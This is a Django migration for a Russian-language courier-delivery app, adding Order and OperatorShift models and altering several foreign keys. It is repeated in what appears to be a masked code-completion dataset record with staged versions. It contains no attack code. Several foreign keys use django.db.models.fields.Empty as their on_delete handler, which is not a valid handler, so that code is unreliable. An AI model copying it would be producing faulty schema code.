models.ForeignKey(blank=True, null= True, on_delete=django.db.models.deletion.CASCADE, related_name= 'address_delivery_from', related_query_name='address_from', to= 'api.Address', verbose_name='Забрать от')), ('delivery_to', models. ForeignKey(blank=True, null=True, on_delete=django.db.models. deletion.CASCADE, related_name='address_delivery_to', related_query_name='address_to', to='api.Address', verbose_name= 'Куда доставить'))], options={'get_latest_by': '-created_at', 'abstract': False}), migrations.CreateModel(name='OperatorShift', fields=[('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('deleted', models. DateTimeField(editable=False, null=True)), ('created_at', models. DateTimeField(auto_now_add=True, verbose_name='Created at')), ( 'updated_at', models.DateTimeField(auto_now_add=True, verbose_name= 'Updated at')), ('start_time', models.DateField(auto_now_add=True, verbose_name='Начало смены')), ('end_time', models.DateField(blank= True, null=True, verbose_name='Конец смены')), ('operator', models. ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='operator_shifts', related_query_name='operator_shift', to=settings.AUTH_USER_MODEL, verbose_name='Оператор'))], options={ 'get_latest_by': '-created_at', 'abstract': False})] <|reserved_special_token_1|> from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.db.models.fields class Migration(migrations.Migration): dependencies = [('api', '0005_cashiershift_couriershift_couriershiftexpenses_dailyransom_expensestype_vehicleservice' )] operations = [migrations.AlterField(model_name='address', name='city', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='city_addresses', related_query_name='city_address', to='api.City')), migrations.AlterField(model_name='address', name= 'district', field=models.ForeignKey(on_delete=django.db.models. deletion.CASCADE, related_name='district_addresses', related_query_name='district_address', to='api.District')), migrations.AlterField(model_name='address', name='street', field= models.ForeignKey(max_length=255, on_delete=django.db.models.fields .Empty, related_name='street_addresses', related_query_name= 'street_address', to='api.Street', verbose_name='Улица')), migrations.AlterField(model_name='couriershift', name='courier', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='couriers', related_query_name='courier', to=settings. AUTH_USER_MODEL, verbose_name='Курьер')), migrations.AlterField( model_name='couriershift', name='vehicle', field=models.ForeignKey( blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='shift_vehicles', related_query_name='shift_vehicle', to='api.Vehicle', verbose_name='Транспортное средство')), migrations.AlterField(model_name='couriershift', name= 'vehicle_accepted_by', field=models.ForeignKey(blank=True, null= True, on_delete=django.db.models.deletion.CASCADE, related_name= 'vehicle_accepted_bys', related_query_name='vehicle_accepted_by', to=settings.AUTH_USER_MODEL, verbose_name='Принял')), migrations. AlterField(model_name='couriershift', name='vehicle_given_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db. models.deletion.CASCADE, related_name='vehicle_given_bys', related_query_name='vehicle_given_by', to=settings.AUTH_USER_MODEL, verbose_name='Выдал')), migrations.AlterField(model_name='district', name='city', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name= 'city_districts', related_query_name='city_district', to='api.City' )), migrations.AlterField(model_name='technicalservice', name= 'address', field=models.ForeignKey(blank=True, null=True, on_delete =django.db.models.deletion.CASCADE, related_name='address_services', related_query_name='address_service', to='api.Address', verbose_name='Адрес СТО')), migrations.AlterField(model_name= 'vehicleservice', name='service', field=models.ForeignKey(on_delete =django.db.models.fields.Empty, related_name='service_vehicles', related_query_name='service_vehicle', to='api.TechnicalService')), migrations.AlterField(model_name='vehicleservice', name='vehicle', field=models.ForeignKey(on_delete=django.db.models.fields.Empty, related_name='vehicles', related_query_name='vehicle', to= 'api.Vehicle')), migrations.CreateModel(name='Order', fields=[('id', models.AutoField(auto_created=True, primary_key=True, serialize= False, verbose_name='ID')), ('deleted', models.DateTimeField( editable=False, null=True)), ('created_at', models.DateTimeField( auto_now_add=True, verbose_name='Created at')), ('updated_at', models.DateTimeField(auto_now_add=True, verbose_name='Updated at')), ('status', models.CharField(choices=[('new', 'Новый'), ('accepted', 'Принят'), ('canceled', 'Отменен'), ('done', 'Завершен'), ( 'in_progress', 'Выполняется')], default='new', max_length=100, verbose_name='Статус заказа')), ('accepted_time', models. DateTimeField(blank=True, null=True, verbose_name= 'Время подтверждения заказа')), ('start_time', models.DateTimeField (blank=True, null=True, verbose_name= 'Время начала выполнения заказа')), ('end_time', models. DateTimeField(blank=True, null=True, verbose_name= 'Время завершения заказа')), ('reciever_name', models.CharField( blank=True, max_length=255, null=True, verbose_name= 'Имя получателя')), ('info', models.TextField(blank=True, null=True, verbose_name='Дополнительные сведения')), ('ransom_sum', models. DecimalField(decimal_places=2, max_digits=6, verbose_name= 'Сумма выкупа')), ('wait_time', models.TimeField(blank=True, null= True, verbose_name='Время ожидания')), ('delivery_cost', models. IntegerField(blank=True, null=True, verbose_name= 'Стоимость даставки')), ('delivery_time', models.TimeField(blank= True, null=True, verbose_name='Время выполнения заказа')), ( 'courier_shift', models.ForeignKey(on_delete=django.db.models. deletion.CASCADE, related_name='courier_orders', related_query_name ='courier_order', to='api.CourierShift', verbose_name= 'Смена курьера')), ('created_by', models.ForeignKey(on_delete= django.db.models.deletion.CASCADE, related_name='orders_created_by', related_query_name='order_created_by', to=settings.AUTH_USER_MODEL, verbose_name='Кем создан')), ('customer', models.ForeignKey(blank= True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='customers_orders', related_query_name= 'customer_order', to=settings.AUTH_USER_MODEL, verbose_name= 'Клиент')), ('delivery_from', models.ForeignKey(blank=True, null= True, on_delete=django.db.models.deletion.CASCADE, related_name= 'address_delivery_from', related_query_name='address_from', to= 'api.Address', verbose_name='Забрать от')), ('delivery_to', models. ForeignKey(blank=True, null=True, on_delete=django.db.models. deletion.CASCADE, related_name='address_delivery_to', related_query_name='address_to', to='api.Address', verbose_name= 'Куда доставить'))], options={'get_latest_by': '-created_at', 'abstract': False}), migrations.CreateModel(name='OperatorShift', fields=[('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('deleted', models. DateTimeField(editable=False, null=True)), ('created_at', models. DateTimeField(auto_now_add=True, verbose_name='Created at')), ( 'updated_at', models.DateTimeField(auto_now_add=True, verbose_name= 'Updated at')), ('start_time', models.DateField(auto_now_add=True, verbose_name='Начало смены')), ('end_time', models.DateField(blank= True, null=True, verbose_name='Конец смены')), ('operator', models. ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='operator_shifts', related_query_name='operator_shift', to=settings.AUTH_USER_MODEL, verbose_name='Оператор'))], options={ 'get_latest_by': '-created_at', 'abstract': False})] <|reserved_special_token_1|> # Generated by Django 2.2.15 on 2020-09-16 03:20 from django.conf import settings from django.db import migrations, models import django.db.models.deletion import django.db.models.fields class Migration(migrations.Migration): dependencies = [ ('api', '0005_cashiershift_couriershift_couriershiftexpenses_dailyransom_expensestype_vehicleservice'), ] operations = [ migrations.AlterField( model_name='address', name='city', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='city_addresses', related_query_name='city_address', to='api.City'), ), migrations.AlterField( model_name='address', name='district', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='district_addresses', related_query_name='district_address', to='api.District'), ), migrations.AlterField( model_name='address', name='street', field=models.ForeignKey(max_length=255, on_delete=django.db.models.fields.Empty, related_name='street_addresses', related_query_name='street_address', to='api.Street', verbose_name='Улица'), ), migrations.AlterField( model_name='couriershift', name='courier', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='couriers', related_query_name='courier', to=settings.AUTH_USER_MODEL, verbose_name='Курьер'), ), migrations.AlterField( model_name='couriershift', name='vehicle', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='shift_vehicles', related_query_name='shift_vehicle', to='api.Vehicle', verbose_name='Транспортное средство'), ), migrations.AlterField( model_name='couriershift', name='vehicle_accepted_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='vehicle_accepted_bys', related_query_name='vehicle_accepted_by', to=settings.AUTH_USER_MODEL, verbose_name='Принял'), ), migrations.AlterField( model_name='couriershift', name='vehicle_given_by', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='vehicle_given_bys', related_query_name='vehicle_given_by', to=settings.AUTH_USER_MODEL, verbose_name='Выдал'), ), migrations.AlterField( model_name='district', name='city', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='city_districts', related_query_name='city_district', to='api.City'), ), migrations.AlterField( model_name='technicalservice', name='address', field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='address_services', related_query_name='address_service', to='api.Address', verbose_name='Адрес СТО'), ), migrations.AlterField( model_name='vehicleservice', name='service', field=models.ForeignKey(on_delete=django.db.models.fields.Empty, related_name='service_vehicles', related_query_name='service_vehicle', to='api.TechnicalService'), ), migrations.AlterField( model_name='vehicleservice', name='vehicle', field=models.ForeignKey(on_delete=django.db.models.fields.Empty, related_name='vehicles', related_query_name='vehicle', to='api.Vehicle'), ), migrations.CreateModel( name='Order', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('deleted', models.DateTimeField(editable=False, null=True)), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created at')), ('updated_at', models.DateTimeField(auto_now_add=True, verbose_name='Updated at')), ('status', models.CharField(choices=[('new', 'Новый'), ('accepted', 'Принят'), ('canceled', 'Отменен'), ('done', 'Завершен'), ('in_progress', 'Выполняется')], default='new', max_length=100, verbose_name='Статус заказа')), ('accepted_time', models.DateTimeField(blank=True, null=True, verbose_name='Время подтверждения заказа')), ('start_time', models.DateTimeField(blank=True, null=True, verbose_name='Время начала выполнения заказа')), ('end_time', models.DateTimeField(blank=True, null=True, verbose_name='Время завершения заказа')), ('reciever_name', models.CharField(blank=True, max_length=255, null=True, verbose_name='Имя получателя')), ('info', models.TextField(blank=True, null=True, verbose_name='Дополнительные сведения')), ('ransom_sum', models.DecimalField(decimal_places=2, max_digits=6, verbose_name='Сумма выкупа')), ('wait_time', models.TimeField(blank=True, null=True, verbose_name='Время ожидания')), ('delivery_cost', models.IntegerField(blank=True, null=True, verbose_name='Стоимость даставки')), ('delivery_time', models.TimeField(blank=True, null=True, verbose_name='Время выполнения заказа')), ('courier_shift', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='courier_orders', related_query_name='courier_order', to='api.CourierShift', verbose_name='Смена курьера')), ('created_by', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='orders_created_by', related_query_name='order_created_by', to=settings.AUTH_USER_MODEL, verbose_name='Кем создан')), ('customer', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='customers_orders', related_query_name='customer_order', to=settings.AUTH_USER_MODEL, verbose_name='Клиент')), ('delivery_from', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='address_delivery_from', related_query_name='address_from', to='api.Address', verbose_name='Забрать от')), ('delivery_to', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='address_delivery_to', related_query_name='address_to', to='api.Address', verbose_name='Куда доставить')), ], options={ 'get_latest_by': '-created_at', 'abstract': False, }, ), migrations.CreateModel( name='OperatorShift', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('deleted', models.DateTimeField(editable=False, null=True)), ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created at')), ('updated_at', models.DateTimeField(auto_now_add=True, verbose_name='Updated at')), ('start_time', models.DateField(auto_now_add=True, verbose_name='Начало смены')), ('end_time', models.DateField(blank=True, null=True, verbose_name='Конец смены')), ('operator', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='operator_shifts', related_query_name='operator_shift', to=settings.AUTH_USER_MODEL, verbose_name='Оператор')), ], options={ 'get_latest_by': '-created_at', 'abstract': False, }, ), ]
flexible
{ "blob_id": "1c979d505b58025aae74865d6556c726ed3f0769", "index": 2651, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass Migration(migrations.Migration):\n <mask token>\n <mask token>\n", "step-3": "<mask token>\n\n\nclass Migration(migrations.Migration):\n dependencies = [('api',\n '0005_cashiershift_couriershift_couriershiftexpenses_dailyransom_expensestype_vehicleservice'\n )]\n operations = [migrations.AlterField(model_name='address', name='city',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='city_addresses', related_query_name='city_address',\n to='api.City')), migrations.AlterField(model_name='address', name=\n 'district', field=models.ForeignKey(on_delete=django.db.models.\n deletion.CASCADE, related_name='district_addresses',\n related_query_name='district_address', to='api.District')),\n migrations.AlterField(model_name='address', name='street', field=\n models.ForeignKey(max_length=255, on_delete=django.db.models.fields\n .Empty, related_name='street_addresses', related_query_name=\n 'street_address', to='api.Street', verbose_name='Улица')),\n migrations.AlterField(model_name='couriershift', name='courier',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='couriers', related_query_name='courier', to=settings.\n AUTH_USER_MODEL, verbose_name='Курьер')), migrations.AlterField(\n model_name='couriershift', name='vehicle', field=models.ForeignKey(\n blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,\n related_name='shift_vehicles', related_query_name='shift_vehicle',\n to='api.Vehicle', verbose_name='Транспортное средство')),\n migrations.AlterField(model_name='couriershift', name=\n 'vehicle_accepted_by', field=models.ForeignKey(blank=True, null=\n True, on_delete=django.db.models.deletion.CASCADE, related_name=\n 'vehicle_accepted_bys', related_query_name='vehicle_accepted_by',\n to=settings.AUTH_USER_MODEL, verbose_name='Принял')), migrations.\n AlterField(model_name='couriershift', name='vehicle_given_by',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.\n models.deletion.CASCADE, related_name='vehicle_given_bys',\n related_query_name='vehicle_given_by', to=settings.AUTH_USER_MODEL,\n verbose_name='Выдал')), migrations.AlterField(model_name='district',\n name='city', field=models.ForeignKey(blank=True, null=True,\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'city_districts', related_query_name='city_district', to='api.City'\n )), migrations.AlterField(model_name='technicalservice', name=\n 'address', field=models.ForeignKey(blank=True, null=True, on_delete\n =django.db.models.deletion.CASCADE, related_name='address_services',\n related_query_name='address_service', to='api.Address',\n verbose_name='Адрес СТО')), migrations.AlterField(model_name=\n 'vehicleservice', name='service', field=models.ForeignKey(on_delete\n =django.db.models.fields.Empty, related_name='service_vehicles',\n related_query_name='service_vehicle', to='api.TechnicalService')),\n migrations.AlterField(model_name='vehicleservice', name='vehicle',\n field=models.ForeignKey(on_delete=django.db.models.fields.Empty,\n related_name='vehicles', related_query_name='vehicle', to=\n 'api.Vehicle')), migrations.CreateModel(name='Order', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('deleted', models.DateTimeField(\n editable=False, null=True)), ('created_at', models.DateTimeField(\n auto_now_add=True, verbose_name='Created at')), ('updated_at',\n models.DateTimeField(auto_now_add=True, verbose_name='Updated at')),\n ('status', models.CharField(choices=[('new', 'Новый'), ('accepted',\n 'Принят'), ('canceled', 'Отменен'), ('done', 'Завершен'), (\n 'in_progress', 'Выполняется')], default='new', max_length=100,\n verbose_name='Статус заказа')), ('accepted_time', models.\n DateTimeField(blank=True, null=True, verbose_name=\n 'Время подтверждения заказа')), ('start_time', models.DateTimeField\n (blank=True, null=True, verbose_name=\n 'Время начала выполнения заказа')), ('end_time', models.\n DateTimeField(blank=True, null=True, verbose_name=\n 'Время завершения заказа')), ('reciever_name', models.CharField(\n blank=True, max_length=255, null=True, verbose_name=\n 'Имя получателя')), ('info', models.TextField(blank=True, null=True,\n verbose_name='Дополнительные сведения')), ('ransom_sum', models.\n DecimalField(decimal_places=2, max_digits=6, verbose_name=\n 'Сумма выкупа')), ('wait_time', models.TimeField(blank=True, null=\n True, verbose_name='Время ожидания')), ('delivery_cost', models.\n IntegerField(blank=True, null=True, verbose_name=\n 'Стоимость даставки')), ('delivery_time', models.TimeField(blank=\n True, null=True, verbose_name='Время выполнения заказа')), (\n 'courier_shift', models.ForeignKey(on_delete=django.db.models.\n deletion.CASCADE, related_name='courier_orders', related_query_name\n ='courier_order', to='api.CourierShift', verbose_name=\n 'Смена курьера')), ('created_by', models.ForeignKey(on_delete=\n django.db.models.deletion.CASCADE, related_name='orders_created_by',\n related_query_name='order_created_by', to=settings.AUTH_USER_MODEL,\n verbose_name='Кем создан')), ('customer', models.ForeignKey(blank=\n True, null=True, on_delete=django.db.models.deletion.CASCADE,\n related_name='customers_orders', related_query_name=\n 'customer_order', to=settings.AUTH_USER_MODEL, verbose_name=\n 'Клиент')), ('delivery_from', models.ForeignKey(blank=True, null=\n True, on_delete=django.db.models.deletion.CASCADE, related_name=\n 'address_delivery_from', related_query_name='address_from', to=\n 'api.Address', verbose_name='Забрать от')), ('delivery_to', models.\n ForeignKey(blank=True, null=True, on_delete=django.db.models.\n deletion.CASCADE, related_name='address_delivery_to',\n related_query_name='address_to', to='api.Address', verbose_name=\n 'Куда доставить'))], options={'get_latest_by': '-created_at',\n 'abstract': False}), migrations.CreateModel(name='OperatorShift',\n fields=[('id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('deleted', models.\n DateTimeField(editable=False, null=True)), ('created_at', models.\n DateTimeField(auto_now_add=True, verbose_name='Created at')), (\n 'updated_at', models.DateTimeField(auto_now_add=True, verbose_name=\n 'Updated at')), ('start_time', models.DateField(auto_now_add=True,\n verbose_name='Начало смены')), ('end_time', models.DateField(blank=\n True, null=True, verbose_name='Конец смены')), ('operator', models.\n ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='operator_shifts', related_query_name='operator_shift',\n to=settings.AUTH_USER_MODEL, verbose_name='Оператор'))], options={\n 'get_latest_by': '-created_at', 'abstract': False})]\n", "step-4": "from django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.fields\n\n\nclass Migration(migrations.Migration):\n dependencies = [('api',\n '0005_cashiershift_couriershift_couriershiftexpenses_dailyransom_expensestype_vehicleservice'\n )]\n operations = [migrations.AlterField(model_name='address', name='city',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='city_addresses', related_query_name='city_address',\n to='api.City')), migrations.AlterField(model_name='address', name=\n 'district', field=models.ForeignKey(on_delete=django.db.models.\n deletion.CASCADE, related_name='district_addresses',\n related_query_name='district_address', to='api.District')),\n migrations.AlterField(model_name='address', name='street', field=\n models.ForeignKey(max_length=255, on_delete=django.db.models.fields\n .Empty, related_name='street_addresses', related_query_name=\n 'street_address', to='api.Street', verbose_name='Улица')),\n migrations.AlterField(model_name='couriershift', name='courier',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='couriers', related_query_name='courier', to=settings.\n AUTH_USER_MODEL, verbose_name='Курьер')), migrations.AlterField(\n model_name='couriershift', name='vehicle', field=models.ForeignKey(\n blank=True, null=True, on_delete=django.db.models.deletion.CASCADE,\n related_name='shift_vehicles', related_query_name='shift_vehicle',\n to='api.Vehicle', verbose_name='Транспортное средство')),\n migrations.AlterField(model_name='couriershift', name=\n 'vehicle_accepted_by', field=models.ForeignKey(blank=True, null=\n True, on_delete=django.db.models.deletion.CASCADE, related_name=\n 'vehicle_accepted_bys', related_query_name='vehicle_accepted_by',\n to=settings.AUTH_USER_MODEL, verbose_name='Принял')), migrations.\n AlterField(model_name='couriershift', name='vehicle_given_by',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.\n models.deletion.CASCADE, related_name='vehicle_given_bys',\n related_query_name='vehicle_given_by', to=settings.AUTH_USER_MODEL,\n verbose_name='Выдал')), migrations.AlterField(model_name='district',\n name='city', field=models.ForeignKey(blank=True, null=True,\n on_delete=django.db.models.deletion.CASCADE, related_name=\n 'city_districts', related_query_name='city_district', to='api.City'\n )), migrations.AlterField(model_name='technicalservice', name=\n 'address', field=models.ForeignKey(blank=True, null=True, on_delete\n =django.db.models.deletion.CASCADE, related_name='address_services',\n related_query_name='address_service', to='api.Address',\n verbose_name='Адрес СТО')), migrations.AlterField(model_name=\n 'vehicleservice', name='service', field=models.ForeignKey(on_delete\n =django.db.models.fields.Empty, related_name='service_vehicles',\n related_query_name='service_vehicle', to='api.TechnicalService')),\n migrations.AlterField(model_name='vehicleservice', name='vehicle',\n field=models.ForeignKey(on_delete=django.db.models.fields.Empty,\n related_name='vehicles', related_query_name='vehicle', to=\n 'api.Vehicle')), migrations.CreateModel(name='Order', fields=[('id',\n models.AutoField(auto_created=True, primary_key=True, serialize=\n False, verbose_name='ID')), ('deleted', models.DateTimeField(\n editable=False, null=True)), ('created_at', models.DateTimeField(\n auto_now_add=True, verbose_name='Created at')), ('updated_at',\n models.DateTimeField(auto_now_add=True, verbose_name='Updated at')),\n ('status', models.CharField(choices=[('new', 'Новый'), ('accepted',\n 'Принят'), ('canceled', 'Отменен'), ('done', 'Завершен'), (\n 'in_progress', 'Выполняется')], default='new', max_length=100,\n verbose_name='Статус заказа')), ('accepted_time', models.\n DateTimeField(blank=True, null=True, verbose_name=\n 'Время подтверждения заказа')), ('start_time', models.DateTimeField\n (blank=True, null=True, verbose_name=\n 'Время начала выполнения заказа')), ('end_time', models.\n DateTimeField(blank=True, null=True, verbose_name=\n 'Время завершения заказа')), ('reciever_name', models.CharField(\n blank=True, max_length=255, null=True, verbose_name=\n 'Имя получателя')), ('info', models.TextField(blank=True, null=True,\n verbose_name='Дополнительные сведения')), ('ransom_sum', models.\n DecimalField(decimal_places=2, max_digits=6, verbose_name=\n 'Сумма выкупа')), ('wait_time', models.TimeField(blank=True, null=\n True, verbose_name='Время ожидания')), ('delivery_cost', models.\n IntegerField(blank=True, null=True, verbose_name=\n 'Стоимость даставки')), ('delivery_time', models.TimeField(blank=\n True, null=True, verbose_name='Время выполнения заказа')), (\n 'courier_shift', models.ForeignKey(on_delete=django.db.models.\n deletion.CASCADE, related_name='courier_orders', related_query_name\n ='courier_order', to='api.CourierShift', verbose_name=\n 'Смена курьера')), ('created_by', models.ForeignKey(on_delete=\n django.db.models.deletion.CASCADE, related_name='orders_created_by',\n related_query_name='order_created_by', to=settings.AUTH_USER_MODEL,\n verbose_name='Кем создан')), ('customer', models.ForeignKey(blank=\n True, null=True, on_delete=django.db.models.deletion.CASCADE,\n related_name='customers_orders', related_query_name=\n 'customer_order', to=settings.AUTH_USER_MODEL, verbose_name=\n 'Клиент')), ('delivery_from', models.ForeignKey(blank=True, null=\n True, on_delete=django.db.models.deletion.CASCADE, related_name=\n 'address_delivery_from', related_query_name='address_from', to=\n 'api.Address', verbose_name='Забрать от')), ('delivery_to', models.\n ForeignKey(blank=True, null=True, on_delete=django.db.models.\n deletion.CASCADE, related_name='address_delivery_to',\n related_query_name='address_to', to='api.Address', verbose_name=\n 'Куда доставить'))], options={'get_latest_by': '-created_at',\n 'abstract': False}), migrations.CreateModel(name='OperatorShift',\n fields=[('id', models.AutoField(auto_created=True, primary_key=True,\n serialize=False, verbose_name='ID')), ('deleted', models.\n DateTimeField(editable=False, null=True)), ('created_at', models.\n DateTimeField(auto_now_add=True, verbose_name='Created at')), (\n 'updated_at', models.DateTimeField(auto_now_add=True, verbose_name=\n 'Updated at')), ('start_time', models.DateField(auto_now_add=True,\n verbose_name='Начало смены')), ('end_time', models.DateField(blank=\n True, null=True, verbose_name='Конец смены')), ('operator', models.\n ForeignKey(on_delete=django.db.models.deletion.CASCADE,\n related_name='operator_shifts', related_query_name='operator_shift',\n to=settings.AUTH_USER_MODEL, verbose_name='Оператор'))], options={\n 'get_latest_by': '-created_at', 'abstract': False})]\n", "step-5": "# Generated by Django 2.2.15 on 2020-09-16 03:20\n\nfrom django.conf import settings\nfrom django.db import migrations, models\nimport django.db.models.deletion\nimport django.db.models.fields\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('api', '0005_cashiershift_couriershift_couriershiftexpenses_dailyransom_expensestype_vehicleservice'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='address',\n name='city',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='city_addresses', related_query_name='city_address', to='api.City'),\n ),\n migrations.AlterField(\n model_name='address',\n name='district',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='district_addresses', related_query_name='district_address', to='api.District'),\n ),\n migrations.AlterField(\n model_name='address',\n name='street',\n field=models.ForeignKey(max_length=255, on_delete=django.db.models.fields.Empty, related_name='street_addresses', related_query_name='street_address', to='api.Street', verbose_name='Улица'),\n ),\n migrations.AlterField(\n model_name='couriershift',\n name='courier',\n field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='couriers', related_query_name='courier', to=settings.AUTH_USER_MODEL, verbose_name='Курьер'),\n ),\n migrations.AlterField(\n model_name='couriershift',\n name='vehicle',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='shift_vehicles', related_query_name='shift_vehicle', to='api.Vehicle', verbose_name='Транспортное средство'),\n ),\n migrations.AlterField(\n model_name='couriershift',\n name='vehicle_accepted_by',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='vehicle_accepted_bys', related_query_name='vehicle_accepted_by', to=settings.AUTH_USER_MODEL, verbose_name='Принял'),\n ),\n migrations.AlterField(\n model_name='couriershift',\n name='vehicle_given_by',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='vehicle_given_bys', related_query_name='vehicle_given_by', to=settings.AUTH_USER_MODEL, verbose_name='Выдал'),\n ),\n migrations.AlterField(\n model_name='district',\n name='city',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='city_districts', related_query_name='city_district', to='api.City'),\n ),\n migrations.AlterField(\n model_name='technicalservice',\n name='address',\n field=models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='address_services', related_query_name='address_service', to='api.Address', verbose_name='Адрес СТО'),\n ),\n migrations.AlterField(\n model_name='vehicleservice',\n name='service',\n field=models.ForeignKey(on_delete=django.db.models.fields.Empty, related_name='service_vehicles', related_query_name='service_vehicle', to='api.TechnicalService'),\n ),\n migrations.AlterField(\n model_name='vehicleservice',\n name='vehicle',\n field=models.ForeignKey(on_delete=django.db.models.fields.Empty, related_name='vehicles', related_query_name='vehicle', to='api.Vehicle'),\n ),\n migrations.CreateModel(\n name='Order',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('deleted', models.DateTimeField(editable=False, null=True)),\n ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created at')),\n ('updated_at', models.DateTimeField(auto_now_add=True, verbose_name='Updated at')),\n ('status', models.CharField(choices=[('new', 'Новый'), ('accepted', 'Принят'), ('canceled', 'Отменен'), ('done', 'Завершен'), ('in_progress', 'Выполняется')], default='new', max_length=100, verbose_name='Статус заказа')),\n ('accepted_time', models.DateTimeField(blank=True, null=True, verbose_name='Время подтверждения заказа')),\n ('start_time', models.DateTimeField(blank=True, null=True, verbose_name='Время начала выполнения заказа')),\n ('end_time', models.DateTimeField(blank=True, null=True, verbose_name='Время завершения заказа')),\n ('reciever_name', models.CharField(blank=True, max_length=255, null=True, verbose_name='Имя получателя')),\n ('info', models.TextField(blank=True, null=True, verbose_name='Дополнительные сведения')),\n ('ransom_sum', models.DecimalField(decimal_places=2, max_digits=6, verbose_name='Сумма выкупа')),\n ('wait_time', models.TimeField(blank=True, null=True, verbose_name='Время ожидания')),\n ('delivery_cost', models.IntegerField(blank=True, null=True, verbose_name='Стоимость даставки')),\n ('delivery_time', models.TimeField(blank=True, null=True, verbose_name='Время выполнения заказа')),\n ('courier_shift', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='courier_orders', related_query_name='courier_order', to='api.CourierShift', verbose_name='Смена курьера')),\n ('created_by', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='orders_created_by', related_query_name='order_created_by', to=settings.AUTH_USER_MODEL, verbose_name='Кем создан')),\n ('customer', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='customers_orders', related_query_name='customer_order', to=settings.AUTH_USER_MODEL, verbose_name='Клиент')),\n ('delivery_from', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='address_delivery_from', related_query_name='address_from', to='api.Address', verbose_name='Забрать от')),\n ('delivery_to', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='address_delivery_to', related_query_name='address_to', to='api.Address', verbose_name='Куда доставить')),\n ],\n options={\n 'get_latest_by': '-created_at',\n 'abstract': False,\n },\n ),\n migrations.CreateModel(\n name='OperatorShift',\n fields=[\n ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),\n ('deleted', models.DateTimeField(editable=False, null=True)),\n ('created_at', models.DateTimeField(auto_now_add=True, verbose_name='Created at')),\n ('updated_at', models.DateTimeField(auto_now_add=True, verbose_name='Updated at')),\n ('start_time', models.DateField(auto_now_add=True, verbose_name='Начало смены')),\n ('end_time', models.DateField(blank=True, null=True, verbose_name='Конец смены')),\n ('operator', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, related_name='operator_shifts', related_query_name='operator_shift', to=settings.AUTH_USER_MODEL, verbose_name='Оператор')),\n ],\n options={\n 'get_latest_by': '-created_at',\n 'abstract': False,\n },\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
